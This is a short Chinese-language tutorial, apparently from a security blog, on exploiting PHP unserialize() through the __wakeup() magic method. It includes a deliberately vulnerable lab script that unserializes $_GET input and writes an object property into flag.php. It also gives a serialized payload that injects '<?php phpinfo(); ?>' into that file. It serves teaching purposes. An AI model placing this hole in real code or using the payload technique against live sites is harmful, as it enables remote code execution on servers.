利用__wakeup
unserialize()后会导致 __wakeup()
或 __destruct()
的直接调用,中间无需其他过程.
因此最理想的情况就是一些漏洞/危害代码在 __wakeup()
或 __destruct()
中,从而当我们控制序列化字符串时可以去直接触发它们 .
如下实验:
<?php
class test{
var $test = '123';
function __wakeup(){
$fp = fopen("flag.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$a = $_GET['id'];
print_r($a);
echo "</br>";
$a_unser = unserialize($a);
require "flag.php";
?>
我们可以通过构造序列化对象,其中test的值设置为 <?php phpinfo();?>
,再调用unserialize()时会通过 __wakeup()
把test的值的写入到flag.php中,这样当我们访问同目录下的flag.php即可达到实验目的!
序列化字符串如下:
O:7:"test":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}
感谢您的来访,获取更多精彩文章请收藏本站。
© 版权声明
THE END
暂无评论内容